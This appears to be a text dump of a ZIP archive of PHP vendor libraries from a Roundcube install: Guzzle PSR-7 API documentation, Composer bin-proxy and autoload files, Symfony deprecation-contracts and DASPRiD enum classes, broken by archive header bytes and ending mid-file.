```


# Static API

There are various static methods available under the `GuzzleHttp\Psr7` namespace.


## `GuzzleHttp\Psr7\Message::toString`

`public static function toString(MessageInterface $message): string`

Returns the string representation of an HTTP message.

```php
$request = new GuzzleHttp\Psr7\Request('GET', 'http://example.com');
echo GuzzleHttp\Psr7\Message::toString($request);
```


## `GuzzleHttp\Psr7\Message::bodySummary`

`public static function bodySummary(MessageInterface $message, int $truncateAt = 120): string|null`

Get a short summary of the message body.

Will return `null` if the response is not printable.


## `GuzzleHttp\Psr7\Message::rewindBody`

`public static function rewindBody(MessageInterface $message): void`

Attempts to rewind a message body and throws an exception on failure.

The body of the message will only be rewound if a call to `tell()`
returns a value other than `0`.


## `GuzzleHttp\Psr7\Message::parseMessage`

`public static function parseMessage(string $message): array`

Parses an HTTP message into an associative array.

The array contains the "start-line" key containing the start line of
the message, "headers" key containing an associative array of header
array values, and a "body" key containing the body of the message.


## `GuzzleHttp\Psr7\Message::parseRequestUri`

`public static function parseRequestUri(string $path, array $headers): string`

Constructs a URI for an HTTP request message.


## `GuzzleHttp\Psr7\Message::parseRequest`

`public static function parseRequest(string $message): Request`

Parses a request message string into a request object.


## `GuzzleHttp\Psr7\Message::parseResponse`

`public static function parseResponse(string $message): Response`

Parses a response message string into a response object.


## `GuzzleHttp\Psr7\Header::parse`

`public static function parse(string|array $header): array`

Parse an array of header values containing ";" separated data into an
array of associative arrays representing the header key value pair data
of the header. When a parameter does not contain a value, but just
contains a key, this function will inject a key with a '' string value.


## `GuzzleHttp\Psr7\Header::splitList`

`public static function splitList(string|string[] $header): string[]`

Splits a HTTP header defined to contain a comma-separated list into
each individual value:

```
$knownEtags = Header::splitList($request->getHeader('if-none-match'));
```

Example headers include `accept`, `cache-control` and `if-none-match`.


## `GuzzleHttp\Psr7\Header::normalize` (deprecated)

`public static function normalize(string|array $header): array`

`Header::normalize()` is deprecated in favor of [`Header::splitList()`](README.md#guzzlehttppsr7headersplitlist)
which performs the same operation with a cleaned up API and improved
documentation.

Converts an array of header values that may contain comma separated
headers into an array of headers with no comma separated values.


## `GuzzleHttp\Psr7\Query::parse`

`public static function parse(string $str, int|bool $urlEncoding = true): array`

Parse a query string into an associative array.

If multiple values are found for the same key, the value of that key
value pair will become an array. This function does not parse nested
PHP style arrays into an associative array (e.g., `foo[a]=1&foo[b]=2`
will be parsed into `['foo[a]' => '1', 'foo[b]' => '2'])`.


## `GuzzleHttp\Psr7\Query::build`

`public static function build(array $params, int|false $encoding = PHP_QUERY_RFC3986): string`

Build a query string from an array of key value pairs.

This function can use the return value of `parse()` to build a query
string. This function does not modify the provided keys when an array is
encountered (like `http_build_query()` would).


## `GuzzleHttp\Psr7\Utils::caselessRemove`

`public static function caselessRemove(iterable<string> $keys, $keys, array $data): array`

Remove the items given by the keys, case insensitively from the data.


## `GuzzleHttp\Psr7\Utils::copyToStream`

`public static function copyToStream(StreamInterface $source, StreamInterface $dest, int $maxLen = -1): void`

Copy the contents of a stream into another stream until the given number
of bytes have been read.


## `GuzzleHttp\Psr7\Utils::copyToString`

`public static function copyToString(StreamInterface $stream, int $maxLen = -1): string`

Copy the contents of a stream into a string until the given number of
bytes have been read.


## `GuzzleHttp\Psr7\Utils::hash`

`public static function hash(StreamInterface $stream, string $algo, bool $rawOutput = false): string`

Calculate a hash of a stream.

This method reads the entire stream to calculate a rolling hash, based on
PHP's `hash_init` functions.


## `GuzzleHttp\Psr7\Utils::modifyRequest`

`public static function modifyRequest(RequestInterface $request, array $changes): RequestInterface`

Clone and modify a request with the given changes.

This method is useful for reducing the number of clones needed to mutate
a message.

- method: (string) Changes the HTTP method.
- set_headers: (array) Sets the given headers.
- remove_headers: (array) Remove the given headers.
- body: (mixed) Sets the given body.
- uri: (UriInterface) Set the URI.
- query: (string) Set the query string value of the URI.
- version: (string) Set the protocol version.


## `GuzzleHttp\Psr7\Utils::readLine`

`public static function readLine(StreamInterface $stream, int $maxLength = null): string`

Read a line from the stream up to the maximum allowed buffer length.


## `GuzzleHttp\Psr7\Utils::streamFor`

`public static function streamFor(resource|string|null|int|float|bool|StreamInterface|callable|\Iterator $resource = '', array $options = []): StreamInterface`

Create a new stream based on the input type.

Options is an associative array that can contain the following keys:

- metadata: Array of custom metadata.
- size: Size of the stream.

This method accepts the following `$resource` types:

- `Psr\Http\Message\StreamInterface`: Returns the value as-is.
- `string`: Creates a stream object that uses the given string as the contents.
- `resource`: Creates a stream object that wraps the given PHP stream resource.
- `Iterator`: If the provided value implements `Iterator`, then a read-only
  stream object will be created that wraps the given iterable. Each time the
  stream is read from, data from the iterator will fill a buffer and will be
  continuously called until the buffer is equal to the requested read size.
  Subsequent read calls will first read from the buffer and then call `next`
  on the underlying iterator until it is exhausted.
- `object` with `__toString()`: If the object has the `__toString()` method,
  the object will be cast to a string and then a stream will be returned that
  uses the string value.
- `NULL`: When `null` is passed, an empty stream object is returned.
- `callable` When a callable is passed, a read-only stream object will be
  created that invokes the given callable. The callable is invoked with the
  number of suggested bytes to read. The callable can return any number of
  bytes, but MUST return `false` when there is no more data to return. The
  stream object that wraps the callable will invoke the callable until the
  number of requested bytes are available. Any additional bytes will be
  buffered and used in subsequent reads.

```php
$stream = GuzzleHttp\Psr7\Utils::streamFor('foo');
$stream = GuzzleHttp\Psr7\Utils::streamFor(fopen('/path/to/file', 'r'));

$generator = function ($bytes) {
    for ($i = 0; $i < $bytes; $i++) {
        yield ' ';
    }
}

$stream = GuzzleHttp\Psr7\Utils::streamFor($generator(100));
```


## `GuzzleHttp\Psr7\Utils::tryFopen`

`public static function tryFopen(string $filename, string $mode): resource`

Safely opens a PHP stream resource using a filename.

When fopen fails, PHP normally raises a warning. This function adds an
error handler that checks for errors and throws an exception instead.


## `GuzzleHttp\Psr7\Utils::tryGetContents`

`public static function tryGetContents(resource $stream): string`

Safely gets the contents of a given stream.

When stream_get_contents fails, PHP normally raises a warning. This
function adds an error handler that checks for errors and throws an
exception instead.


## `GuzzleHttp\Psr7\Utils::uriFor`

`public static function uriFor(string|UriInterface $uri): UriInterface`

Returns a UriInterface for the given value.

This function accepts a string or UriInterface and returns a
UriInterface for the given value. If the value is already a
UriInterface, it is returned as-is.


## `GuzzleHttp\Psr7\MimeType::fromFilename`

`public static function fromFilename(string $filename): string|null`

Determines the mimetype of a file by looking at its extension.


## `GuzzleHttp\Psr7\MimeType::fromExtension`

`public static function fromExtension(string $extension): string|null`

Maps a file extensions to a mimetype.


## Upgrading from Function API

The static API was first introduced in 1.7.0, in order to mitigate problems with functions conflicting between global and local copies of the package. The function API was removed in 2.0.0. A migration table has been provided here for your convenience:

| Original Function | Replacement Method |
|----------------|----------------|
| `str` | `Message::toString` |
| `uri_for` | `Utils::uriFor` |
| `stream_for` | `Utils::streamFor` |
| `parse_header` | `Header::parse` |
| `normalize_header` | `Header::normalize` |
| `modify_request` | `Utils::modifyRequest` |
| `rewind_body` | `Message::rewindBody` |
| `try_fopen` | `Utils::tryFopen` |
| `copy_to_string` | `Utils::copyToString` |
| `copy_to_stream` | `Utils::copyToStream` |
| `hash` | `Utils::hash` |
| `readline` | `Utils::readLine` |
| `parse_request` | `Message::parseRequest` |
| `parse_response` | `Message::parseResponse` |
| `parse_query` | `Query::parse` |
| `build_query` | `Query::build` |
| `mimetype_from_filename` | `MimeType::fromFilename` |
| `mimetype_from_extension` | `MimeType::fromExtension` |
| `_parse_message` | `Message::parseMessage` |
| `_parse_request_uri` | `Message::parseRequestUri` |
| `get_message_body_summary` | `Message::bodySummary` |
| `_caseless_remove` | `Utils::caselessRemove` |


# Additional URI Methods

Aside from the standard `Psr\Http\Message\UriInterface` implementation in form of the `GuzzleHttp\Psr7\Uri` class,
this library also provides additional functionality when working with URIs as static methods.

## URI Types

An instance of `Psr\Http\Message\UriInterface` can either be an absolute URI or a relative reference.
An absolute URI has a scheme. A relative reference is used to express a URI relative to another URI,
the base URI. Relative references can be divided into several forms according to
[RFC 3986 Section 4.2](https://datatracker.ietf.org/doc/html/rfc3986#section-4.2):

- network-path references, e.g. `//example.com/path`
- absolute-path references, e.g. `/path`
- relative-path references, e.g. `subpath`

The following methods can be used to identify the type of the URI.

### `GuzzleHttp\Psr7\Uri::isAbsolute`

`public static function isAbsolute(UriInterface $uri): bool`

Whether the URI is absolute, i.e. it has a scheme.

### `GuzzleHttp\Psr7\Uri::isNetworkPathReference`

`public static function isNetworkPathReference(UriInterface $uri): bool`

Whether the URI is a network-path reference. A relative reference that begins with two slash characters is
termed an network-path reference.

### `GuzzleHttp\Psr7\Uri::isAbsolutePathReference`

`public static function isAbsolutePathReference(UriInterface $uri): bool`

Whether the URI is a absolute-path reference. A relative reference that begins with a single slash character is
termed an absolute-path reference.

### `GuzzleHttp\Psr7\Uri::isRelativePathReference`

`public static function isRelativePathReference(UriInterface $uri): bool`

Whether the URI is a relative-path reference. A relative reference that does not begin with a slash character is
termed a relative-path reference.

### `GuzzleHttp\Psr7\Uri::isSameDocumentReference`

`public static function isSameDocumentReference(UriInterface $uri, UriInterface $base = null): bool`

Whether the URI is a same-document reference. A same-document reference refers to a URI that is, aside from its
fragment component, identical to the base URI. When no base URI is given, only an empty URI reference
(apart from its fragment) is considered a same-document reference.

## URI Components

Additional methods to work with URI components.

### `GuzzleHttp\Psr7\Uri::isDefaultPort`

`public static function isDefaultPort(UriInterface $uri): bool`

Whether the URI has the default port of the current scheme. `Psr\Http\Message\UriInterface::getPort` may return null
or the standard port. This method can be used independently of the implementation.

### `GuzzleHttp\Psr7\Uri::composeComponents`

`public static function composeComponents($scheme, $authority, $path, $query, $fragment): string`

Composes a URI reference string from its various components according to
[RFC 3986 Section 5.3](https://datatracker.ietf.org/doc/html/rfc3986#section-5.3). Usually this method does not need
to be called manually but instead is used indirectly via `Psr\Http\Message\UriInterface::__toString`.

### `GuzzleHttp\Psr7\Uri::fromParts`

`public static function fromParts(array $parts): UriInterface`

Creates a URI from a hash of [`parse_url`](https://www.php.net/manual/en/function.parse-url.php) components.


### `GuzzleHttp\Psr7\Uri::withQueryValue`

`public static function withQueryValue(UriInterface $uri, $key, $value): UriInterface`

Creates a new URI with a specific query string value. Any existing query string values that exactly match the
provided key are removed and replaced with the given key value pair. A value of null will set the query string
key without a value, e.g. "key" instead of "key=value".

### `GuzzleHttp\Psr7\Uri::withQueryValues`

`public static function withQueryValues(UriInterface $uri, array $keyValueArray): UriInterface`

Creates a new URI with multiple query string values. It has the same behavior as `withQueryValue()` but for an
associative array of key => value.

### `GuzzleHttp\Psr7\Uri::withoutQueryValue`

`public static function withoutQueryValue(UriInterface $uri, $key): UriInterface`

Creates a new URI with a specific query string value removed. Any existing query string values that exactly match the
provided key are removed.

## Cross-Origin Detection

`GuzzleHttp\Psr7\UriComparator` provides methods to determine if a modified URL should be considered cross-origin.

### `GuzzleHttp\Psr7\UriComparator::isCrossOrigin`

`public static function isCrossOrigin(UriInterface $original, UriInterface $modified): bool`

Determines if a modified URL should be considered cross-origin with respect to an original URL.

## Reference Resolution

`GuzzleHttp\Psr7\UriResolver` provides methods to resolve a URI reference in the context of a base URI according
to [RFC 3986 Section 5](https://datatracker.ietf.org/doc/html/rfc3986#section-5). This is for example also what web
browsers do when resolving a link in a website based on the current request URI.

### `GuzzleHttp\Psr7\UriResolver::resolve`

`public static function resolve(UriInterface $base, UriInterface $rel): UriInterface`

Converts the relative URI into a new URI that is resolved against the base URI.

### `GuzzleHttp\Psr7\UriResolver::removeDotSegments`

`public static function removeDotSegments(string $path): string`

Removes dot segments from a path and returns the new path according to
[RFC 3986 Section 5.2.4](https://datatracker.ietf.org/doc/html/rfc3986#section-5.2.4).

### `GuzzleHttp\Psr7\UriResolver::relativize`

`public static function relativize(UriInterface $base, UriInterface $target): UriInterface`

Returns the target URI as a relative reference from the base URI. This method is the counterpart to resolve():

```php
(string) $target === (string) UriResolver::resolve($base, UriResolver::relativize($base, $target))
```

One use-case is to use the current request URI as base URI and then generate relative links in your documents
to reduce the document size or offer self-contained downloadable document archives.

```php
$base = new Uri('http://example.com/a/b/');
echo UriResolver::relativize($base, new Uri('http://example.com/a/b/c'));  // prints 'c'.
echo UriResolver::relativize($base, new Uri('http://example.com/a/x/y'));  // prints '../x/y'.
echo UriResolver::relativize($base, new Uri('http://example.com/a/b/?q')); // prints '?q'.
echo UriResolver::relativize($base, new Uri('http://example.org/a/b/'));   // prints '//example.org/a/b/'.
```

## Normalization and Comparison

`GuzzleHttp\Psr7\UriNormalizer` provides methods to normalize and compare URIs according to
[RFC 3986 Section 6](https://datatracker.ietf.org/doc/html/rfc3986#section-6).

### `GuzzleHttp\Psr7\UriNormalizer::normalize`

`public static function normalize(UriInterface $uri, $flags = self::PRESERVING_NORMALIZATIONS): UriInterface`

Returns a normalized URI. The scheme and host component are already normalized to lowercase per PSR-7 UriInterface.
This methods adds additional normalizations that can be configured with the `$flags` parameter which is a bitmask
of normalizations to apply. The following normalizations are available:

- `UriNormalizer::PRESERVING_NORMALIZATIONS`

    Default normalizations which only include the ones that preserve semantics.

- `UriNormalizer::CAPITALIZE_PERCENT_ENCODING`

    All letters within a percent-encoding triplet (e.g., "%3A") are case-insensitive, and should be capitalized.

    Example: `http://example.org/a%c2%b1b` → `http://example.org/a%C2%B1b`

- `UriNormalizer::DECODE_UNRESERVED_CHARACTERS`

    Decodes percent-encoded octets of unreserved characters. For consistency, percent-encoded octets in the ranges of
    ALPHA (%41–%5A and %61–%7A), DIGIT (%30–%39), hyphen (%2D), period (%2E), underscore (%5F), or tilde (%7E) should
    not be created by URI producers and, when found in a URI, should be decoded to their corresponding unreserved
    characters by URI normalizers.

    Example: `http://example.org/%7Eusern%61me/` → `http://example.org/~username/`

- `UriNormalizer::CONVERT_EMPTY_PATH`

    Converts the empty path to "/" for http and https URIs.

    Example: `http://example.org` → `http://example.org/`

- `UriNormalizer::REMOVE_DEFAULT_HOST`

    Removes the default host of the given URI scheme from the URI. Only the "file" scheme defines the default host
    "localhost". All of `file:/myfile`, `file:///myfile`, and `file://localhost/myfile` are equivalent according to
    RFC 3986.

    Example: `file://localhost/myfile` → `file:///myfile`

- `UriNormalizer::REMOVE_DEFAULT_PORT`

    Removes the default port of the given URI scheme from the URI.

    Example: `http://example.org:80/` → `http://example.org/`

- `UriNormalizer::REMOVE_DOT_SEGMENTS`

    Removes unnecessary dot-segments. Dot-segments in relative-path references are not removed as it would
    change the semantics of the URI reference.

    Example: `http://example.org/../a/b/../c/./d.html` → `http://example.org/a/c/d.html`

- `UriNormalizer::REMOVE_DUPLICATE_SLASHES`

    Paths which include two or more adjacent slashes are converted to one. Webservers usually ignore duplicate slashes
    and treat those URIs equivalent. But in theory those URIs do not need to be equivalent. So this normalization
    may change the semantics. Encoded slashes (%2F) are not removed.

    Example: `http://example.org//foo///bar.html` → `http://example.org/foo/bar.html`

- `UriNormalizer::SORT_QUERY_PARAMETERS`

    Sort query parameters with their values in alphabetical order. However, the order of parameters in a URI may be
    significant (this is not defined by the standard). So this normalization is not safe and may change the semantics
    of the URI.

    Example: `?lang=en&article=fred` → `?article=fred&lang=en`

### `GuzzleHttp\Psr7\UriNormalizer::isEquivalent`

`public static function isEquivalent(UriInterface $uri1, UriInterface $uri2, $normalizations = self::PRESERVING_NORMALIZATIONS): bool`

Whether two URIs can be considered equivalent. Both URIs are normalized automatically before comparison with the given
`$normalizations` bitmask. The method also accepts relative URI references and returns true when they are equivalent.
This of course assumes they will be resolved against the same base URI. If this is not the case, determination of
equivalence or difference of relative references does not mean anything.


## Security

If you discover a security vulnerability within this package, please send an email to security@tidelift.com. All security vulnerabilities will be promptly addressed. Please do not disclose security-related issues publicly until a fix has been announced. Please see [Security Policy](https://github.com/guzzle/psr7/security/policy) for more information.


## License

Guzzle is made available under the MIT License (MIT). Please see [License File](LICENSE) for more information.


## For Enterprise

Available as part of the Tidelift Subscription

The maintainers of Guzzle and thousands of other packages are working with Tidelift to deliver commercial support and maintenance for the open source dependencies you use to build your applications. Save time, reduce risk, and improve code health, while paying the maintainers of the exact dependencies you use. [Learn more.](https://tidelift.com/subscription/pkg/packagist-guzzlehttp-psr7?utm_source=packagist-guzzlehttp-psr7&utm_medium=referral&utm_campaign=enterprise&utm_term=repo)
PK
h�\y�q�6
6
vendor/bin/crypt-gpg-pinentrynu�[���#! /usr/bin/env php
<?php

/**
 * Proxy PHP file generated by Composer
 *
 * This file includes the referenced bin path (../pear/crypt_gpg/scripts/crypt-gpg-pinentry)
 * using a stream wrapper to prevent the shebang from being output on PHP<8
 *
 * @generated
 */

namespace Composer;

$GLOBALS['_composer_bin_dir'] = __DIR__;
$GLOBALS['_composer_autoload_path'] = __DIR__ . '/..'.'/autoload.php';

if (PHP_VERSION_ID < 80000) {
    if (!class_exists('Composer\BinProxyWrapper')) {
        /**
         * @internal
         */
        final class BinProxyWrapper
        {
            private $handle;
            private $position;
            private $realpath;

            public function stream_open($path, $mode, $options, &$opened_path)
            {
                // get rid of phpvfscomposer:// prefix for __FILE__ & __DIR__ resolution
                $opened_path = substr($path, 17);
                $this->realpath = realpath($opened_path) ?: $opened_path;
                $opened_path = $this->realpath;
                $this->handle = fopen($this->realpath, $mode);
                $this->position = 0;

                return (bool) $this->handle;
            }

            public function stream_read($count)
            {
                $data = fread($this->handle, $count);

                if ($this->position === 0) {
                    $data = preg_replace('{^#!.*\r?\n}', '', $data);
                }

                $this->position += strlen($data);

                return $data;
            }

            public function stream_cast($castAs)
            {
                return $this->handle;
            }

            public function stream_close()
            {
                fclose($this->handle);
            }

            public function stream_lock($operation)
            {
                return $operation ? flock($this->handle, $operation) : true;
            }

            public function stream_seek($offset, $whence)
            {
                if (0 === fseek($this->handle, $offset, $whence)) {
                    $this->position = ftell($this->handle);
                    return true;
                }

                return false;
            }

            public function stream_tell()
            {
                return $this->position;
            }

            public function stream_eof()
            {
                return feof($this->handle);
            }

            public function stream_stat()
            {
                return array();
            }

            public function stream_set_option($option, $arg1, $arg2)
            {
                return true;
            }

            public function url_stat($path, $flags)
            {
                $path = substr($path, 17);
                if (file_exists($path)) {
                    return stat($path);
                }

                return false;
            }
        }
    }

    if (
        (function_exists('stream_get_wrappers') && in_array('phpvfscomposer', stream_get_wrappers(), true))
        || (function_exists('stream_wrapper_register') && stream_wrapper_register('phpvfscomposer', 'Composer\BinProxyWrapper'))
    ) {
        return include("phpvfscomposer://" . __DIR__ . '/..'.'/pear/crypt_gpg/scripts/crypt-gpg-pinentry');
    }
}

return include __DIR__ . '/..'.'/pear/crypt_gpg/scripts/crypt-gpg-pinentry';
PK
h�\zCo	++vendor/autoload.phpnu�[���<?php

// autoload.php @generated by Composer

if (PHP_VERSION_ID < 50600) {
    if (!headers_sent()) {
        header('HTTP/1.1 500 Internal Server Error');
    }
    $err = 'Composer 2.3.0 dropped support for autoloading on PHP <5.6 and you are running '.PHP_VERSION.', please upgrade PHP or use Composer 2.2 LTS via "composer self-update --2.2". Aborting.'.PHP_EOL;
    if (!ini_get('display_errors')) {
        if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') {
            fwrite(STDERR, $err);
        } elseif (!headers_sent()) {
            echo $err;
        }
    }
    trigger_error(
        $err,
        E_USER_ERROR
    );
}

require_once __DIR__ . '/composer/autoload_real.php';

return ComposerAutoloaderInitd30534b7ccef70d5be1f4ba9bc89dbe4::getLoader();
// generated by Roundcube install 1.6.7
PK
h�\,�H�II2vendor/symfony/deprecation-contracts/composer.jsonnu�[���{
    "name": "symfony/deprecation-contracts",
    "type": "library",
    "description": "A generic function and convention to trigger deprecation notices",
    "homepage": "https://symfony.com",
    "license": "MIT",
    "authors": [
        {
            "name": "Nicolas Grekas",
            "email": "p@tchwork.com"
        },
        {
            "name": "Symfony Community",
            "homepage": "https://symfony.com/contributors"
        }
    ],
    "require": {
        "php": ">=7.1"
    },
    "autoload": {
        "files": [
            "function.php"
        ]
    },
    "minimum-stability": "dev",
    "extra": {
        "branch-alias": {
            "dev-main": "2.5-dev"
        },
        "thanks": {
            "name": "symfony/contracts",
            "url": "https://github.com/symfony/contracts"
        }
    }
}
PK
h�\h{#��1vendor/symfony/deprecation-contracts/CHANGELOG.mdnu�[���CHANGELOG
=========

The changelog is maintained for all Symfony contracts at the following URL:
https://github.com/symfony/contracts/blob/main/CHANGELOG.md
PK
h�\K�,,,vendor/symfony/deprecation-contracts/LICENSEnu�[���Copyright (c) 2020-present Fabien Potencier

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is furnished
to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
PK
h�\rg����1vendor/symfony/deprecation-contracts/function.phpnu�[���<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

if (!function_exists('trigger_deprecation')) {
    /**
     * Triggers a silenced deprecation notice.
     *
     * @param string $package The name of the Composer package that is triggering the deprecation
     * @param string $version The version of the package that introduced the deprecation
     * @param string $message The message of the deprecation
     * @param mixed  ...$args Values to insert in the message using printf() formatting
     *
     * @author Nicolas Grekas <p@tchwork.com>
     */
    function trigger_deprecation(string $package, string $version, string $message, ...$args): void
    {
        @trigger_error(($package || $version ? "Since $package $version: " : '').($args ? vsprintf($message, $args) : $message), \E_USER_DEPRECATED);
    }
}
PK
h�\��3��.vendor/symfony/deprecation-contracts/README.mdnu�[���Symfony Deprecation Contracts
=============================

A generic function and convention to trigger deprecation notices.

This package provides a single global function named `trigger_deprecation()` that triggers silenced deprecation notices.

By using a custom PHP error handler such as the one provided by the Symfony ErrorHandler component,
the triggered deprecations can be caught and logged for later discovery, both on dev and prod environments.

The function requires at least 3 arguments:
 - the name of the Composer package that is triggering the deprecation
 - the version of the package that introduced the deprecation
 - the message of the deprecation
 - more arguments can be provided: they will be inserted in the message using `printf()` formatting

Example:
```php
trigger_deprecation('symfony/blockchain', '8.9', 'Using "%s" is deprecated, use "%s" instead.', 'bitcoin', 'fabcoin');
```

This will generate the following message:
`Since symfony/blockchain 8.9: Using "bitcoin" is deprecated, use "fabcoin" instead.`

While not necessarily recommended, the deprecation notices can be completely ignored by declaring an empty
`function trigger_deprecation() {}` in your application.
PK
h�\�CI�

(vendor/dasprid/enum/src/AbstractEnum.phpnu�[���<?php
declare(strict_types = 1);

namespace DASPRiD\Enum;

use DASPRiD\Enum\Exception\CloneNotSupportedException;
use DASPRiD\Enum\Exception\IllegalArgumentException;
use DASPRiD\Enum\Exception\MismatchException;
use DASPRiD\Enum\Exception\SerializeNotSupportedException;
use DASPRiD\Enum\Exception\UnserializeNotSupportedException;
use ReflectionClass;

abstract class AbstractEnum
{
    /**
     * @var string
     */
    private $name;

    /**
     * @var int
     */
    private $ordinal;

    /**
     * @var array<string, array<string, static>>
     */
    private static $values = [];

    /**
     * @var array<string, bool>
     */
    private static $allValuesLoaded = [];

    /**
     * @var array<string, array>
     */
    private static $constants = [];

    /**
     * The constructor is private by default to avoid arbitrary enum creation.
     *
     * When creating your own constructor for a parameterized enum, make sure to declare it as protected, so that
     * the static methods are able to construct it. Avoid making it public, as that would allow creation of
     * non-singleton enum instances.
     */
    private function __construct()
    {
    }

    /**
     * Magic getter which forwards all calls to {@see self::valueOf()}.
     *
     * @return static
     */
    final public static function __callStatic(string $name, array $arguments) : self
    {
        return static::valueOf($name);
    }

    /**
     * Returns an enum with the specified name.
     *
     * The name must match exactly an identifier used to declare an enum in this type (extraneous whitespace characters
     * are not permitted).
     *
     * @return static
     * @throws IllegalArgumentException if the enum has no constant with the specified name
     */
    final public static function valueOf(string $name) : self
    {
        if (isset(self::$values[static::class][$name])) {
            return self::$values[static::class][$name];
        }

        $constants = self::constants();

        if (array_key_exists($name, $constants)) {
            return self::createValue($name, $constants[$name][0], $constants[$name][1]);
        }

        throw new IllegalArgumentException(sprintf('No enum constant %s::%s', static::class, $name));
    }

    /**
     * @return static
     */
    private static function createValue(string $name, int $ordinal, array $arguments) : self
    {
        $instance = new static(...$arguments);
        $instance->name = $name;
        $instance->ordinal = $ordinal;
        self::$values[static::class][$name] = $instance;
        return $instance;
    }

    /**
     * Obtains all possible types defined by this enum.
     *
     * @return static[]
     */
    final public static function values() : array
    {
        if (isset(self::$allValuesLoaded[static::class])) {
            return self::$values[static::class];
        }

        if (! isset(self::$values[static::class])) {
            self::$values[static::class] = [];
        }

        foreach (self::constants() as $name => $constant) {
            if (array_key_exists($name, self::$values[static::class])) {
                continue;
            }

            static::createValue($name, $constant[0], $constant[1]);
        }

        uasort(self::$values[static::class], function (self $a, self $b) {
            return $a->ordinal() <=> $b->ordinal();
        });

        self::$allValuesLoaded[static::class] = true;
        return self::$values[static::class];
    }

    private static function constants() : array
    {
        if (isset(self::$constants[static::class])) {
            return self::$constants[static::class];
        }

        self::$constants[static::class] = [];
        $reflectionClass = new ReflectionClass(static::class);
        $ordinal = -1;

        foreach ($reflectionClass->getReflectionConstants() as $reflectionConstant) {
            if (! $reflectionConstant->isProtected()) {
                continue;
            }

            $value = $reflectionConstant->getValue();

            self::$constants[static::class][$reflectionConstant->name] = [
                ++$ordinal,
                is_array($value) ? $value : []
            ];
        }

        return self::$constants[static::class];
    }

    /**
     * Returns the name of this enum constant, exactly as declared in its enum declaration.
     *
     * Most programmers should use the {@see self::__toString()} method in preference to this one, as the toString
     * method may return a more user-friendly name. This method is designed primarily for use in specialized situations
     * where correctness depends on getting the exact name, which will not vary from release to release.
     */
    final public function name() : string
    {
        return $this->name;
    }

    /**
     * Returns the ordinal of this enumeration constant (its position in its enum declaration, where the initial
     * constant is assigned an ordinal of zero).
     *
     * Most programmers will have no use for this method. It is designed for use by sophisticated enum-based data
     * structures.
     */
    final public function ordinal() : int
    {
        return $this->ordinal;
    }

    /**
     * Compares this enum with the specified object for order.
     *
     * Returns negative integer, zero or positive integer as this object is less than, equal to or greater than the
     * specified object.
     *
     * Enums are only comparable to other enums of the same type. The natural order implemented by this method is the
     * order in which the constants are declared.
     *
     * @throws MismatchException if the passed enum is not of the same type
     */
    final public function compareTo(self $other) : int
    {
        if (! $other instanceof static) {
            throw new MismatchException(sprintf(
                'The passed enum %s is not of the same type as %s',
                get_class($other),
                static::class
            ));
        }

        return $this->ordinal - $other->ordinal;
    }

    /**
     * Forbid cloning enums.
     *
     * @throws CloneNotSupportedException
     */
    final public function __clone()
    {
        throw new CloneNotSupportedException();
    }

    /**
     * Forbid serializing enums.
     *
     * @throws SerializeNotSupportedException
     */
    final public function __sleep() : array
    {
        throw new SerializeNotSupportedException();
    }

    /**
     * Forbid unserializing enums.
     *
     * @throws UnserializeNotSupportedException
     */
    final public function __wakeup() : void
    {
        throw new UnserializeNotSupportedException();
    }

    /**
     * Turns the enum into a string representation.
     *
     * You may override this method to give a more user-friendly version.
     */
    public function __toString() : string
    {
        return $this->name;
    }
}
PK
h�\��ʴ�Dvendor/dasprid/enum/src/Exception/SerializeNotSupportedException.phpnu�[���<?php
declare(strict_types = 1);

namespace DASPRiD\Enum\Exception;

use Exception;

final class SerializeNotSupportedException extends Exception implements ExceptionInterface
{
}
PK
h�\1����:vendor/dasprid/enum/src/Exception/ExpectationException.phpnu�[���<?php
declare(strict_types = 1);

namespace DASPRiD\Enum\Exception;

use Exception;

final class ExpectationException extends Exception implements ExceptionInterface
{
}
PK
h�\�m�Y��>vendor/dasprid/enum/src/Exception/IllegalArgumentException.phpnu�[���<?php
declare(strict_types = 1);

namespace DASPRiD\Enum\Exception;

use Exception;

final class IllegalArgumentException extends Exception implements ExceptionInterface
{
}
PK
h�\N͐{��7vendor/dasprid/enum/src/Exception/MismatchException.phpnu�[���<?php
declare(strict_types = 1);

namespace DASPRiD\Enum\Exception;

use Exception;

final class MismatchException extends Exception implements ExceptionInterface
{
}
PK
h�\|�6��8vendor/dasprid/enum/src/Exception/ExceptionInterface.phpnu�[���<?php
declare(strict_types = 1);

namespace DASPRiD\Enum\Exception;

use Throwable;

interface ExceptionInterface extends Throwable
{
}
PK
h�\���ް�@vendor/dasprid/enum/src/Exception/CloneNotSupportedException.phpnu�[���<?php
declare(strict_types = 1);

namespace DASPRiD\Enum\Exception;

use Exception;

final class CloneNotSupportedException extends Exception implements ExceptionInterface
{
}
PK
h�\�L�A��Fvendor/dasprid/enum/src/Exception/UnserializeNotSupportedException.phpnu�[���<?php
declare(strict_types = 1);

namespace DASPRiD\Enum\Exception;

use Exception;

final class UnserializeNotSupportedException extends Exception implements ExceptionInterface
{
}
PK
h�\c�YY%vendor/dasprid/enum/src/NullValue.phpnu�[���<?php
declare(strict_types = 1);

namespace DASPRiD\Enum;

use DASPRiD\Enum\Exception\CloneNotSupportedException;
use DASPRiD\Enum\Exception\SerializeNotSupportedException;
use DASPRiD\Enum\Exception\UnserializeNotSupportedException;

final class NullValue
{
    /**
     * @var self
     */
    private static $instance;

    private function __construct()
    {
    }

    public static function instance() : self
    {
        return self::$instance ?: self::$instance = new self();
    }

    /**
     * Forbid cloning enums.
